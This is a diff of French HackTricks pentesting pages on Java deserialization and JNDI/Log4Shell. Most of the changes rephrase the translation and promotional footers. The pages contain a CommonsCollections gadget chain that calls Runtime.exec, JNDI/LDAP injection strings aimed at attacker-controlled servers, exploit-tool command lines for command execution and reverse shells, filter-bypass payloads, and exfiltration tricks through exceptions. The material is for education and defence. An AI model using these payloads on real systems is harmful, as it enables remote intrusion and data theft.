* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,26 +7,12 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
Consultez les articles :
|
||||
|
||||
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||
* [https://www.alphabot.com/security/blog/2017/java/Les-ViewStates-JSF-mal-configurés-peuvent-entraîner-de-graves-vulnérabilités-RCE.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Transformateurs Java vers Rutime exec()
|
||||
|
||||
Dans plusieurs endroits, vous pouvez trouver une charge utile de désérialisation Java qui utilise des transformateurs d'Apache common collections comme celle-ci :
|
||||
À plusieurs endroits, vous pouvez trouver une charge utile de désérialisation Java qui utilise des transformateurs d'Apache common collections comme celle-ci :
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -59,7 +59,7 @@ Il est également intéressant de savoir que la **charge utile** qui est **exéc
|
|||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
Ou **plus exactement**, ce qui sera exécuté à la fin serait :
|
||||
Ou **plus précisément**, ce qui sera exécuté à la fin serait :
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
|
@ -94,7 +94,7 @@ command
|
|||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
```
|
||||
Si vous lisez le code, vous remarquerez que si vous parvenez à chaîner la transformation du tableau, vous pourriez être en mesure d'exécuter des commandes arbitraires.
|
||||
Si vous lisez le code, vous remarquerez que si vous parvenez à enchaîner la transformation du tableau, vous pourriez être en mesure d'exécuter des commandes arbitraires.
|
||||
|
||||
Alors, **comment ces transformations sont-elles enchaînées ?**
|
||||
```java
|
||||
|
@ -102,7 +102,7 @@ Map map = new HashMap<>();
|
|||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
lazyMap.get("anything");
|
||||
```
|
||||
Dans la dernière section de la charge utile, vous pouvez voir qu'un **objet Map est créé**. Ensuite, la fonction `decorate` est exécutée à partir de `LazyMap` avec l'objet map et les transformateurs enchaînés. À partir du code suivant, vous pouvez voir que cela va provoquer la **copie des transformateurs enchaînés** à l'intérieur de l'attribut `lazyMap.factory`:
|
||||
Dans la dernière section de la charge utile, vous pouvez voir qu'un **objet Map est créé**. Ensuite, la fonction `decorate` est exécutée à partir de `LazyMap` avec l'objet map et les transformateurs enchaînés. À partir du code suivant, vous pouvez voir que cela va provoquer la copie des **transformateurs enchaînés** à l'intérieur de l'attribut `lazyMap.factory`:
|
||||
```java
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
|
@ -163,7 +163,7 @@ _Remarquez comment `value` est l'entrée de chaque transformation et la sortie d
|
|||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
Notez qu'ici il a été expliqué les gadgets utilisés pour la charge utile ComonsCollections1. Mais il reste à expliquer comment tout cela commence à s'exécuter. Vous pouvez voir [ici que ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), afin d'exécuter cette charge utile, utilise un objet `AnnotationInvocationHandler` car lorsque cet objet est désérialisé, il invoquera la fonction `payload.get()` qui exécutera toute la charge utile.
|
||||
Notez qu'ici il a été expliqué les gadgets utilisés pour la charge utile **ComonsCollections1**. Mais il reste à expliquer comment tout cela commence son exécution. Vous pouvez voir [ici que **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), afin d'exécuter cette charge utile, utilise un objet `AnnotationInvocationHandler` car lorsque cet objet est désérialisé, il invoquera la fonction `payload.get()` qui exécutera toute la charge utile.
|
||||
|
||||
## Java Thread Sleep
|
||||
|
||||
|
@ -218,10 +218,10 @@ Vous pouvez trouver plus de gadgets ici: [https://deadcode.me/blog/2016/09/02/Bl
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -35,10 +35,10 @@ Les objets Java peuvent être stockés et récupérés à l'aide de références
|
|||
Cependant, ce mécanisme peut être exploité, entraînant potentiellement le chargement et l'exécution de code arbitraire. Comme mesure de protection :
|
||||
|
||||
- **RMI** : `java.rmi.server.useCodeabseOnly = true` par défaut à partir de JDK 7u21, restreignant le chargement d'objets distants. Un gestionnaire de sécurité limite davantage ce qui peut être chargé.
|
||||
- **LDAP** : `com.sun.jndi.ldap.object.trustURLCodebase = false` par défaut à partir de JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. S'il est défini sur `true`, l'exécution de code à distance est possible sans la supervision d'un gestionnaire de sécurité.
|
||||
- **LDAP** : `com.sun.jndi.ldap.object.trustURLCodebase = false` par défaut à partir de JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. S'il est défini sur `true`, l'exécution de code à distance est possible sans surveillance d'un gestionnaire de sécurité.
|
||||
- **CORBA** : N'a pas de propriété spécifique, mais le gestionnaire de sécurité est toujours actif.
|
||||
|
||||
Cependant, le **Gestionnaire de nommage**, responsable de la résolution des liens JNDI, ne dispose pas de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets à partir de n'importe quelle source. Cela pose un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
|
||||
Cependant, le **Gestionnaire de noms**, responsable de la résolution des liens JNDI, ne dispose pas de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets à partir de n'importe quelle source. Cela pose un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
|
||||
|
||||
Des exemples d'URL exploitables incluent :
|
||||
- _rmi://serveur-attaquant/bar_
|
||||
|
@ -59,14 +59,14 @@ Même si vous avez défini un **`PROVIDER_URL`**, vous pouvez indiquer un autre
|
|||
CORBA (Common Object Request Broker Architecture) utilise une **Référence d'Objet Interopérable (IOR)** pour identifier de manière unique les objets distants. Cette référence inclut des informations essentielles telles que :
|
||||
|
||||
- **ID de type** : Identifiant unique pour une interface.
|
||||
- **Codebase** : URL pour obtenir la classe de stub.
|
||||
- **Codebase** : URL pour obtenir la classe stub.
|
||||
|
||||
Il est important de noter que CORBA n'est pas intrinsèquement vulnérable. Assurer la sécurité implique généralement :
|
||||
|
||||
- Installation d'un **Gestionnaire de sécurité**.
|
||||
- Configuration du Gestionnaire de sécurité pour autoriser les connexions à des bases de code potentiellement malveillantes. Cela peut être réalisé via :
|
||||
- Autorisation de socket, par exemple, ````permissions java.net.SocketPermission "*:1098-1099", "connect";````.
|
||||
- Autorisations de lecture de fichiers, soit universellement (````permission java.io.FilePermission "<<ALL FILES>>", "read";````) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
|
||||
- Autorisations de lecture de fichiers, soit universellement (````permission java.io.FilePermission "<<TOUS LES FICHIERS>>", "read";````) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
|
||||
|
||||
Cependant, certaines politiques de fournisseurs peuvent être indulgentes et autoriser ces connexions par défaut.
|
||||
|
||||
|
@ -102,29 +102,29 @@ Il est plus facile d'attaquer ce LDAP en utilisant des **références JavaFactor
|
|||
|
||||
## Vulnérabilité Log4Shell
|
||||
|
||||
La vulnérabilité est introduite dans Log4j car il prend en charge une [**syntaxe spéciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) sous la forme `${préfixe:nom}` où `préfixe` est l'un de plusieurs [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) où `nom` doit être évalué. Par exemple, `${java:version}` est la version actuelle de Java en cours d'exécution.
|
||||
La vulnérabilité est introduite dans Log4j car il prend en charge une [**syntaxe spéciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) sous la forme `${préfixe:nom}` où `préfixe` est l'un de plusieurs [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) différents où `nom` doit être évalué. Par exemple, `${java:version}` est la version actuelle de Java en cours d'exécution.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) a introduit une fonctionnalité de `jndi` Lookup. Cette fonctionnalité permet la récupération de variables via JNDI. En général, la clé est automatiquement préfixée par `java:comp/env/`. Cependant, si la clé elle-même inclut un **":"**, ce préfixe par défaut n'est pas appliqué.
|
||||
|
||||
Avec un **: présent** dans la clé, comme dans `${jndi:ldap://exemple.com/a}`, il n'y a **pas de préfixe** et le **serveur LDAP est interrogé pour l'objet**. Et ces Lookups peuvent être utilisés à la fois dans la configuration de Log4j et lors de la journalisation des lignes.
|
||||
|
||||
Par conséquent, la seule chose nécessaire pour obtenir une exécution de code à distance est une **version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur**. Et comme il s'agit d'une bibliothèque largement utilisée par les applications Java pour journaliser des informations (y compris les applications accessibles sur Internet), il était très courant d'avoir des journaux log4j par exemple des en-têtes HTTP reçus comme l'User-Agent. Cependant, log4j **n'est pas utilisé uniquement pour journaliser des informations HTTP mais toute entrée** et les données indiquées par le développeur.
|
||||
Par conséquent, la seule chose nécessaire pour obtenir une exécution de code à distance est une **version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur**. Et comme il s'agit d'une bibliothèque largement utilisée par les applications Java pour journaliser des informations (y compris les applications accessibles sur Internet), il était très courant d'avoir des journaux log4j par exemple des en-têtes HTTP reçus comme l'User-Agent. Cependant, log4j n'est **pas utilisé uniquement pour journaliser des informations HTTP mais toute entrée** et les données indiquées par le développeur.
|
||||
|
||||
## Aperçu des CVE liées à Log4Shell
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Critique]**
|
||||
Cette vulnérabilité est une faille de désérialisation non fiable critique dans le composant `log4j-core`, affectant les versions de 2.0-beta9 à 2.14.1. Elle permet une **exécution de code à distance (RCE)**, permettant aux attaquants de prendre le contrôle des systèmes. Le problème a été signalé par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud et affecte divers frameworks Apache. La correction initiale dans la version 2.15.0 était incomplète. Des règles Sigma pour la défense sont disponibles ([Règle 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Règle 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
Cette vulnérabilité est une faille de **désérialisation non fiable critique** dans le composant `log4j-core`, affectant les versions de 2.0-beta9 à 2.14.1. Elle permet une **exécution de code à distance (RCE)**, permettant aux attaquants de prendre le contrôle des systèmes. Le problème a été signalé par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud et affecte divers frameworks Apache. La correction initiale dans la version 2.15.0 était incomplète. Des règles Sigma pour la défense sont disponibles ([Règle 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Règle 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Critique]**
|
||||
Initialement classée comme faible mais ensuite reclassée comme critique, cette CVE est une faille de **Déni de Service (DoS)** résultant d'une correction incomplète dans 2.15.0 pour CVE-2021-44228. Elle affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS à l'aide de charges utiles conçues. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de messages et en désactivant JNDI par défaut.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Élevée]**
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Élevé]**
|
||||
Affectant les versions **Log4j 1.x** dans les configurations non par défaut utilisant `JMSAppender`, cette CVE est une faille de désérialisation non fiable. Aucune correction n'est disponible pour la branche 1.x, qui est en fin de vie, et il est recommandé de passer à `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Modérée]**
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Modéré]**
|
||||
Cette vulnérabilité affecte le **cadre de journalisation Logback**, successeur de Log4j 1.x. Initialement considéré comme sûr, le cadre s'est révélé vulnérable, et de nouvelles versions (1.3.0-alpha11 et 1.2.9) ont été publiées pour résoudre le problème.
|
||||
|
||||
### **CVE-2021-45105** **[Élevée]**
|
||||
### **CVE-2021-45105** **[Élevé]**
|
||||
Log4j 2.16.0 contient une faille de DoS, incitant la sortie de `log4j 2.17.0` pour corriger la CVE. Plus de détails sont disponibles dans le [rapport de BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
@ -151,7 +151,7 @@ N'oubliez pas que pour **exploiter la version 2.15**, vous devez ajouter la **by
|
|||
|
||||
#### **Découverte locale**
|
||||
|
||||
Recherchez les **versions vulnérables locales** de la bibliothèque avec :
|
||||
Recherchez les **versions locales vulnérables** de la bibliothèque avec :
|
||||
```bash
|
||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||
```
|
||||
|
@ -259,9 +259,9 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
|||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que pour une raison quelconque, l'auteur a supprimé ce projet de github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
|
||||
Notez que pour une raison quelconque, l'auteur a supprimé ce projet de Github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
|
||||
|
||||
De plus, vous ne pouvez pas trouver le code source dans la machine à remonter le temps, donc analysez le code source ou exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
|
||||
De plus, vous ne pouvez pas trouver le code source dans la machine wayback, donc analysez le code source ou exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
|
||||
{% endhint %}
|
||||
|
||||
Pour cet exemple, vous pouvez simplement exécuter ce **serveur web vulnérable à log4shell** sur le port 8080 : [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_dans le README, vous trouverez comment l'exécuter_). Cette application vulnérable enregistre avec une version vulnérable de log4shell le contenu de l'en-tête de requête HTTP _X-Api-Version_.
|
||||
|
@ -306,11 +306,11 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_L'attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires comme la **salle solaire THM**. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante en utilisant LDAP) je pense parce qu'il n'exploite pas une classe de confiance pour exécuter du code arbitraire._
|
||||
_L'attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires comme la **salle solaire THM**. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante en utilisant LDAP) je pense parce qu'elle n'exploite pas une classe de confiance pour exécuter du code arbitraire._
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Cette option est vraiment utile pour attaquer les **versions Java configurées pour faire confiance uniquement à des classes spécifiées et non à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter du code arbitraire** (_la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne_).
|
||||
Cette option est vraiment utile pour attaquer les **versions Java configurées pour ne faire confiance qu'à des classes spécifiées et non à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter du code arbitraire** (_la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne_).
|
||||
|
||||
En utilisant **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI :
|
||||
```bash
|
||||
|
@ -323,7 +323,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tm
|
|||
```
|
||||
![](<../../.gitbook/assets/image (642) (1) (1).png>)
|
||||
|
||||
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un **shell inversé** en envoyant simplement à une version vulnérable de log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un **shell inversé** en l'envoyant à une version vulnérable de log4j : **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### Contournements
|
||||
```java
|
||||
|
@ -376,8 +376,8 @@ Par exemple, dans ce CTF, cela était configuré dans le fichier log4j2.xml :
|
|||
```
|
||||
### Recherches d'Environnement
|
||||
|
||||
Dans [ce CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), l'attaquant contrôlait la valeur de `${sys:cmd}` et devait exfiltrer le drapeau à partir d'une variable d'environnement.\
|
||||
Comme vu sur cette page dans les [**charges précédentes**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes façons d'accéder aux variables d'environnement, telles que: **`${env:FLAG}`**. Dans ce CTF, cela était inutile mais pourrait être utile dans d'autres scénarios réels.
|
||||
Dans [ce CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), l'attaquant contrôlait la valeur de `${sys:cmd}` et devait exfiltrer le drapeau d'une variable d'environnement.\
|
||||
Comme vu sur cette page dans les [**payloads précédents**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes façons d'accéder aux variables d'environnement, telles que: **`${env:FLAG}`**. Dans ce CTF, cela était inutile mais pourrait être utile dans d'autres scénarios réels.
|
||||
|
||||
### Exfiltration dans les Exceptions
|
||||
|
||||
|
@ -391,7 +391,7 @@ Juste pour mentionner, vous pourriez également injecter de nouveaux [**modèles
|
|||
|
||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||
|
||||
Cela n'était pas utile pour exfiltrer la date à l'intérieur du message d'erreur, car la recherche n'était pas résolue avant le modèle de conversion, mais cela pourrait être utile pour d'autres choses telles que la détection.
|
||||
Cela n'était pas utile pour exfiltrer des données à l'intérieur du message d'erreur, car la recherche n'était pas résolue avant le modèle de conversion, mais cela pourrait être utile pour d'autres choses telles que la détection.
|
||||
|
||||
### Modèles de Conversion Regex
|
||||
|
||||
|
@ -399,8 +399,8 @@ Cependant, il est possible d'utiliser certains **modèles de conversion qui pren
|
|||
|
||||
* **Recherche binaire via les messages d'exception**
|
||||
|
||||
Le modèle de conversion **`%replace`** peut être utilisé pour **remplacer** du **contenu** dans une **chaîne** même en utilisant des **regex**. Cela fonctionne comme ceci: `replace{pattern}{regex}{substitution}`\
|
||||
En abusant de ce comportement, vous pourriez déclencher une exception si le regex correspondait à quelque chose à l'intérieur de la chaîne (et aucune exception s'il n'était pas trouvé) comme ceci:
|
||||
Le modèle de conversion **`%replace`** peut être utilisé pour **remplacer** du **contenu** d'une **chaîne** même en utilisant des **regex**. Cela fonctionne comme ceci: `replace{pattern}{regex}{substitution}`\
|
||||
En abusant de ce comportement, vous pourriez déclencher une exception si le regex correspondait à quelque chose à l'intérieur de la chaîne (et aucune exception si ce n'était pas trouvé) comme ceci:
|
